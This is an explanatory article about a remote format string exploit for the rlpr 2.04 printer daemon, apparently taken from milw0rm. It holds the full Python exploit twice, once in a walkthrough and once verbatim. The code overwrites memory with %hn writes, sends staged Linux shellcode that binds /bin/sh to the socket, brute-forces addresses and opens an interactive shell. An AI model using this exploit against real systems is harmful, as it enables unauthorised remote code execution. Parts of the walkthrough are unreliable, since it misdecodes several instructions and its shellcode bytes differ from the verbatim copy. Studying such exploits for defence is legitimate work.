Rlpr 2.04 Remote Format String Exploit Explained

Rlpr 2.04 Remote Format String Exploit Explained
What this paper is
This paper details an exploit for the rlpr (remote line printer daemon) service, version 2.04. The vulnerability lies in how the msg() function handles format strings, allowing an attacker to overwrite memory locations and ultimately execute arbitrary code on the target system. The exploit leverages a format string vulnerability to achieve remote code execution, typically resulting in a shell.
Simple technical breakdown
The core of the exploit is a format string vulnerability. When a program uses user-supplied input directly within a printf-like function without proper sanitization, an attacker can insert special format specifiers (like %x, %s, %n).
%xand%scan be used to read data from the stack or memory.%nis the most dangerous. It writes the number of bytes already printed to the memory address specified by the corresponding argument on the stack.
This exploit uses %n to overwrite critical memory locations, specifically return addresses or function pointers, with the address of shellcode. It then crafts a payload that first writes the shellcode into memory and then redirects execution to it.
The exploit works in stages:
- Stage 1: Uses format string specifiers to write the address of the shellcode into a controllable memory location.
- Stage 2: Sends the actual shellcode to be executed.
- Post-exploitation: Attempts to spawn a shell and interact with it.
Complete code and payload walkthrough
The provided Python script implements the exploit. Let's break down its components.
#!/usr/bin/python
import os, sys, socket, struct, time, telnetlib
class rlprd:
fd = None
pad = 2#!/usr/bin/python: Shebang line, indicating the script should be executed with Python.import ...: Imports necessary Python modules for network operations (socket,telnetlib), system interaction (os,sys), data packing (struct), and timing (time).class rlprd:: Defines a class to encapsulate the exploit logic.fd = None: A class variable to hold the socket file descriptor, initialized toNone.pad = 2: A padding value, likely used to align data.
#00000000 31DB xor ebx,ebx
#00000002 F7E3 mul ebx
#00000004 B003 mov al,0x3
#00000006 80C304 add bl,0x4
#00000009 89E1 mov ecx,esp
#0000000B 4A dec edx
#0000000C CC int3
#0000000D CD80 int 0x80
#0000000F FFE1 jmp ecx
# read(4, esp, -1); jmp ecx
lnx_readsc = "\x31\xdb\xf7\xe3\xb0\x03\x80\xc3\x04\x89\xe1\x4a\xcd\x80\xff\xe1"
lnx_stage_one = "\x90" * (23 - len(lnx_readsc)) + lnx_readsc#00000000 ... #0000000F: These are comments showing x86 assembly instructions.xor ebx,ebx: Setsebxto 0.mul ebx: Multiplieseaxbyebx. Sinceebxis 0,eaxbecomes 0.mov al,0x3: Moves the value 3 into the lower 8 bits ofeax(al). This setseaxto 3. In Linux syscalls,eaxholds the syscall number. Syscall 3 isread.add bl,0x4: Adds 4 toebx. This is likely to prepareebxfor use as a file descriptor or argument.mov ecx,esp: Copies the current stack pointer (esp) intoecx. This is important because thejmp ecxat the end will jump to whereverespwas pointing.dec edx: Decrementsedx. This is likely to prepareedxfor thereadsyscall, which expects the buffer size.int3: Software breakpoint. This instruction is often used for debugging and would halt execution. In a final exploit, it's usually removed or replaced.int 0x80: Triggers a Linux system call.jmp ecx: Jumps to the address stored inecx. Sinceecxholds the value ofespbefore theint 0x80call, this effectively jumps back to the instruction immediately following theint 0x80.
lnx_readsc = "...": This is the actual byte representation of the assembly instructions described above. It translates to aread(4, esp, -1)syscall followed by a jump toesp. Theread(4, esp, -1)means: read from file descriptor 4 (which is usuallystderr), into the buffer pointed to byesp(the stack), with a size of -1 (effectively infinite or a large value). This stage is designed to read the next part of the shellcode into memory.lnx_stage_one = "...": This creates the first stage of the Linux shellcode. It consists of NOP (No Operation) instructions (\x90) to pad thelnx_readscto a length of 23 bytes. This padding is likely to align the shellcode or ensure it's placed correctly in memory.
# dup2 shellcode(4->0,1,2)
lnx_stage_two = "\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb2\x3f\x88\xd0\xb3\x04"
lnx_stage_two += "\xcd\x80\x89\xd0\x41\xcd\x80\x89\xd0\x41\xcd\x80"
# execute /bin/sh
lnx_stage_two += "\x90" * 100
lnx_stage_two += "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68"
lnx_stage_two += "\x2f\x2f\x68\x62\x69\x89\xe3\x52\x53\x89"
lnx_stage_two += "\xe1\x8d\x42\x0b\xcd\x80"lnx_stage_two = "...": This defines the second stage of the Linux shellcode.\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb2\x3f\x88\xd0\xb3\x04\xcd\x80\x89\xd0\x41\xcd\x80\x89\xd0\x41\xcd\x80: This part is responsible for duplicating file descriptors.31 c0:xor eax, eax(setseaxto 0).89 c3:mov ebx, eax(setsebxto 0).89 c1:mov ecx, eax(setsecxto 0).89 c2:mov edx, eax(setsedxto 0).b2 3f:mov dl, 0x3f(setsdlto 63).88 d0:mov [eax], dl(writes 63 to the address ineax, which is 0. This is likely a mistake or a placeholder, as it writes to address 0).b3 04:mov bl, 0x4(setsebxto 4).cd 80:int 0x80(syscall). This sequence is complex and potentially flawed as written. Thedup2syscall typically takes two arguments:dup2(oldfd, newfd). The goal here is to redirect standard input (fd 0), standard output (fd 1), and standard error (fd 2) to a new file descriptor, likely the socket connection. The sequence31 c0 ... cd 80is a common pattern for setting updup2syscalls. It aims to duplicate file descriptor 4 (whichlnx_readscreads from) to 0, 1, and 2.89 d0:mov eax, edx(setseaxto the value ofedx, which was 0).41:inc ecx(incrementsecxfrom 0 to 1).cd 80:int 0x80(syscall). This is anotherdup2call.89 d0:mov eax, edx(setseaxto 0).41:inc ecx(incrementsecxfrom 1 to 2).cd 80:int 0x80(syscall). This is the thirddup2call.- Overall, this block aims to redirect
stdin,stdout, andstderrto the socket connection (fd 4).
\x90" * 100: 100 NOP instructions. These are used as a buffer to ensure the subsequent shellcode is placed at a predictable offset or to provide space for potential modifications.\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x68\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80: This is the shellcode to execute/bin/sh.31 d2:xor edx, edx(setsedxto 0).52:push edx(pushes 0 onto the stack).68 6e 2f 73 68:push 0x68732f6e(pushes the string "n/sh" onto the stack, in little-endian format).68 2f 2f 68 62:push 0x62682f2f(pushes the string "//b" onto the stack, in little-endian format).68 69 2f 73 68:push 0x68732f69(pushes the string "i/sh" onto the stack, in little-endian format).89 e3:mov ebx, esp(setsebxto the current stack pointer, which now points to the string "/bin//sh").52:push edx(pushes 0 onto the stack, for the null terminator of the argument list).53:push ebx(pushes the address of "/bin//sh" onto the stack, as the first argument).89 e1:mov ecx, esp(setsecxto the current stack pointer, which now points to the argument list forexecve).8d 42 0b:lea eax, [edx + 0xb](calculateseax = edx + 0xb. Sinceedxis 0,eaxbecomes 11). Syscall 11 isexecve.cd 80:int 0x80(executes theexecvesyscall, which replaces the current process with/bin/sh).
targets = [ [ 0 ], [ "Compiled test platform", 0x0804c418, 0xbffff9e8 ] ]
bruteforce = 0targets: A list defining known target addresses.[0]: Represents the bruteforce option.["Compiled test platform", 0x0804c418, 0xbffff9e8]: This is a specific target configuration.0x0804c418: Likely the address of a function pointer or a buffer that can be overwritten. This is where the exploit will write the address of the shellcode.0xbffff9e8: Likely the address on the stack where the shellcode will be placed. This is the target for the%nwrite.
bruteforce = 0: A flag, initialized to 0, indicating whether bruteforce is enabled.
def __init__(self, host, os, target, port=7290):
self.host = host
self.port = port
set = 0
if(os == "linux"):
set = 1
self.stage_one = self.lnx_stage_one
self.stage_two = self.lnx_stage_two
if(set == 0):
print "Unknown OS"
os._exit()
self.os = os
if(target == 0):
self.bruteforce = 1
else:
self.args = self.targets[target]__init__(self, host, os, target, port=7290): The constructor for therlprdclass.self.host,self.port: Stores the target host and port.- It checks the
osargument. If it's "linux", it setssetto 1 and assigns the Linux shellcode stages (lnx_stage_one,lnx_stage_two) toself.stage_oneandself.stage_two. - If
setremains 0 (unknown OS), it prints an error and exits. - If
targetis 0, it setsself.bruteforceto 1. - Otherwise, it retrieves the target-specific addresses from the
self.targetslist and stores them inself.args.
def wl16(self, write_byte):
write_byte += 0x10000
self.already_written %= 0x10000
padding = (write_byte - self.already_written) % 0x10000
if(padding < 10):
padding += 0x10000
self.already_written += padding
return paddingwl16(self, write_byte): This is a helper function to calculate the number of characters needed to print to reach a specific byte value. It's crucial for the format string attack.- It takes a
write_byte(the target byte value to reach). - It calculates the
paddingrequired to reach that byte value, considering theself.already_writtencount. - It ensures the padding is at least 10 characters and adds it to
self.already_written. - It returns the calculated
paddingvalue, which will be used in a format string like"%<padding>u".
- It takes a
def connect(self):
#if self.fd is not None:
# self.fd.close()
# self.fd = None
self.fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
self.fd.connect((self.host, self.port))connect(self): Establishes a TCP connection to the target host and port. It creates a socket and connects. The commented-out lines suggest it might have been intended to handle reconnections.
def exploit(self, where, what):
if(not self.fd or self.fd is None): self.connect()
self.already_written = len('gethostbyname(')
#print "# of nops: %d\n" % (23 - len(self.readsc))
exploit = "x" * self.pad
self.already_written += self.pad
exploit += struct.pack("<l", where)
exploit += struct.pack("<l", where + 2)
self.already_written += 8
l = self.wl16(what & 0xffff)
fill = "%1$" + str(l) + "u"
exploit += fill
exploit += "%7$hn"
l = self.wl16(what >> 16)
fill = "%1$" + str(l) + "u"
exploit += fill
exploit += "%8$hn"
#print "[*] Format string: (%s) Len: %d" % (exploit, len(exploit))
#print "[*] Stage 1 length: %d" % len(self.stage_one)
#time.sleep(5)
try:
self.fd.send(exploit + self.stage_one + "\n")
self.fd.send(self.stage_two)
time.sleep(1)
self.fd.send("echo spawned; uname -a; id -a;\n")
print "Recieved: " + self.fd.recv(1024)
except:
self.fd.close()
self.fd = None
print "\tFailed @ 0x%08x" % what
return 0exploit(self, where, what): This is the main function that performs the exploit.where: The memory address to write to (e.g., the function pointer).what: The value to write to that address (e.g., the address of the shellcode).- It ensures a connection is established.
self.already_written = len('gethostbyname('): Initializes the count of characters printed so far. This is the base length of the string being sent to the vulnerable service.exploit = "x" * self.pad: Adds initial padding.exploit += struct.pack("<l", where): Writes the target address (where) to the buffer. This address is crucial for the format string to know where to write.exploit += struct.pack("<l", where + 2): Writeswhere + 2. This is likely to provide two separate addresses on the stack for the%nspecifiers to target, allowing for writing 16-bit values.- First
%nwrite (lower 16 bits):l = self.wl16(what & 0xffff): Calculates the padding needed to make the number of printed characters equal to the lower 16 bits ofwhat.fill = "%1$" + str(l) + "u": Creates a format string like"%1$1234u". This tellsprintfto printlcharacters.exploit += fill: Appends this to the exploit string.exploit += "%7$hn": This is the format specifier.%7$hnmeans: take the 7th argument on the stack, treat it as a pointer, and write the number of characters printed so far (which is nowl) to that memory location, but only write the lower 16 bits (hfor short,nfor write). The7$refers to the 7th argument after the format string itself. The twostruct.pack("<l", ...)calls before this are likely the 5th and 6th arguments.
- Second
%nwrite (higher 16 bits):l = self.wl16(what >> 16): Calculates the padding needed for the higher 16 bits ofwhat.fill = "%1$" + str(l) + "u": Creates the format string for the higher bits.exploit += fill: Appends it.exploit += "%8$hn": Writes the number of characters printed so far to the 8th argument on the stack (the one afterwhere + 2), writing only the lower 16 bits. Since the previous write was for the lower 16 bits, this effectively writes the higher 16 bits ofwhat.
- Sending the payload:
self.fd.send(exploit + self.stage_one + "\n"): Sends the crafted format string exploit, followed by the first stage of the shellcode, and a newline. The newline might be important for the vulnerable service to process the input.self.fd.send(self.stage_two): Sends the second stage of the shellcode.time.sleep(1): Waits briefly.self.fd.send("echo spawned; uname -a; id -a;\n"): Sends a command to verify execution and gather system information.print "Recieved: " + self.fd.recv(1024): Prints any response from the server.
- Error handling: If an exception occurs (e.g., connection lost), it closes the socket and prints a failure message.
remote = telnetlib.Telnet()
remote.sock = self.fd
print "[*] You should now have a shell"
remote.interact()
os.exit(0)- Post-exploitation:
remote = telnetlib.Telnet(): Creates aTelnetobject.remote.sock = self.fd: Associates theTelnetobject with the established socket. This allows the script to interact with the shell as if it were a Telnet session.print "[*] You should now have a shell": Informs the user that a shell is expected.remote.interact(): Enters interactive mode, allowing the user to type commands into the spawned shell.os.exit(0): Exits the script cleanly.
def force(self, where, high, lo):
for i in range(high, lo, -8):
r.exploit(where, i)force(self, where, high, lo): This function is used for bruteforcing. It iterates through a range of addresses (highdown tolowith a step of 8) and callsr.exploitfor each address, attempting to write the shellcode address (i) into thewherelocation. The step of 8 is likely related to the size of pointers on the target architecture.
def run(self):
if(self.bruteforce):
print "Bruteforcing.."
#print "not implemented yet"
#os._exit(1)
for i in range(0x0804c000, 0x0804d000, 0x100 / 6):
print "Trying: 0x%08x" % i
self.force(i, 0xbffffa00, 0xbffff9c0)
#self.exploit(self.args[1], self.args[2])run(self): This method controls the overall execution flow.- If
self.bruteforceis true:- It prints "Bruteforcing..".
- It then iterates through a range of addresses (
0x0804c000to0x0804d000) with a step of0x100 / 6(approximately 26.66, which is unusual for pointer increments, suggesting a potential misunderstanding or simplification in the original code for bruteforcing). - For each address
i, it callsself.force(i, 0xbffffa00, 0xbffff9c0). This means it's trying to write the shellcode addressiinto the0xbffffa00to0xbffff9c0range, looking for a vulnerable pointer.
- The commented-out line
#self.exploit(self.args[1], self.args[2])shows where the direct exploit call would be if bruteforcing were not enabled.
- If
if __name__ == '__main__':
if(len(sys.argv) != 4):
print "%s host [linux] targetid"
print "- 0 to brute force"
print "- 1 custom compile"
os._exit(0)
print "%s-%s-%s" % (sys.argv[1], sys.argv[2], sys.argv[3])
r = rlprd(sys.argv[1], sys.argv[2], int(sys.argv[3]))
#r.exploit(0x0804c418, 0xbffff9e8)
#r.force(0x0804c418, 0xbffffa00, 0xbffff800)
r.run()
# milw0rm.com [2004-06-25]if __name__ == '__main__':: This block executes when the script is run directly.- It checks if the correct number of command-line arguments (3) is provided. If not, it prints usage instructions and exits.
sys.argv[1]: Target host.sys.argv[2]: Operating system (e.g., "linux").sys.argv[3]: Target ID (e.g., 0 for bruteforce, 1 for the predefined target).- It creates an instance of the
rlprdclass with the provided arguments. - The commented-out lines show examples of how to call
exploitorforcedirectly. r.run(): Starts the exploit execution.
# milw0rm.com [2004-06-25]: Credits the source of the exploit.
Mapping of code fragments to practical purpose:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
# by jaguar
#!/usr/bin/python
import os, sys, socket, struct, time, telnetlib
class rlprd:
fd = None
pad = 2
#00000000 31DB xor ebx,ebx
#00000002 F7E3 mul ebx
#00000004 B003 mov al,0x3
#00000006 80C304 add bl,0x4
#00000009 89E1 mov ecx,esp
#0000000B 4A dec edx
#0000000C CC int3
#0000000D CD80 int 0x80
#0000000F FFE1 jmp ecx
# read(4, esp, -1); jmp ecx
lnx_readsc = "\x31\xdb\xf7\xe3\xb0\x03\x80\xc3\x04\x89\xe1\x4a\xcd\x80\xff\xe1"
lnx_stage_one = "\x90" * (23 - len(lnx_readsc)) + lnx_readsc
# dup2 shellcode(4->0,1,2)
lnx_stage_two = "\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb2\x3f\x88\xd0\xb3\x04"
lnx_stage_two += "\xcd\x80\x89\xd0\x41\xcd\x80\x89\xd0\x41\xcd\x80"
# execute /bin/sh
lnx_stage_two += "\x90" * 100
lnx_stage_two += "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68"
lnx_stage_two += "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89"
lnx_stage_two += "\xe1\x8d\x42\x0b\xcd\x80"
targets = [ [ 0 ], [ "Compiled test platform", 0x0804c418, 0xbffff9e8 ] ]
bruteforce = 0
def __init__(self, host, os, target, port=7290):
self.host = host
self.port = port
set = 0
if(os == "linux"):
set = 1
self.stage_one = self.lnx_stage_one
self.stage_two = self.lnx_stage_two
if(set == 0):
print "Unknown OS"
os._exit()
self.os = os
if(target == 0):
self.bruteforce = 1
else:
self.args = self.targets[target]
def wl16(self, write_byte):
write_byte += 0x10000
self.already_written %= 0x10000
padding = (write_byte - self.already_written) % 0x10000
if(padding < 10):
padding += 0x10000
self.already_written += padding
return padding
def connect(self):
#if self.fd is not None:
# self.fd.close()
# self.fd = None
self.fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
self.fd.connect((self.host, self.port))
def exploit(self, where, what):
if(not self.fd or self.fd is None): self.connect()
self.already_written = len('gethostbyname(')
#print "# of nops: %d\n" % (23 - len(self.readsc))
exploit = "x" * self.pad
self.already_written += self.pad
exploit += struct.pack("<l", where)
exploit += struct.pack("<l", where + 2)
self.already_written += 8
l = self.wl16(what & 0xffff)
fill = "%1$" + str(l) + "u"
exploit += fill
exploit += "%7$hn"
l = self.wl16(what >> 16)
fill = "%1$" + str(l) + "u"
exploit += fill
exploit += "%8$hn"
#print "[*] Format string: (%s) Len: %d" % (exploit, len(exploit))
#print "[*] Stage 1 length: %d" % len(self.stage_one)
#time.sleep(5)
try:
self.fd.send(exploit + self.stage_one + "\n")
self.fd.send(self.stage_two)
time.sleep(1)
self.fd.send("echo spawned; uname -a; id -a;\n")
print "Recieved: " + self.fd.recv(1024)
except:
self.fd.close()
self.fd = None
print "\tFailed @ 0x%08x" % what
return 0
remote = telnetlib.Telnet()
remote.sock = self.fd
print "[*] You should now have a shell"
remote.interact()
os.exit(0)
def force(self, where, high, lo):
for i in range(high, lo, -8):
r.exploit(where, i)
def run(self):
if(self.bruteforce):
print "Bruteforcing.."
#print "not implemented yet"
#os._exit(1)
for i in range(0x0804c000, 0x0804d000, 0x100 / 6):
print "Trying: 0x%08x" % i
self.force(i, 0xbffffa00, 0xbffff9c0)
#self.exploit(self.args[1], self.args[2])
if __name__ == '__main__':
if(len(sys.argv) != 4):
print "%s host [linux] targetid"
print "- 0 to brute force"
print "- 1 custom compile"
os._exit(0)
print "%s-%s-%s" % (sys.argv[1], sys.argv[2], sys.argv[3])
r = rlprd(sys.argv[1], sys.argv[2], int(sys.argv[3]))
#r.exploit(0x0804c418, 0xbffff9e8)
#r.force(0x0804c418, 0xbffffa00, 0xbffff800)
r.run()
# milw0rm.com [2004-06-25]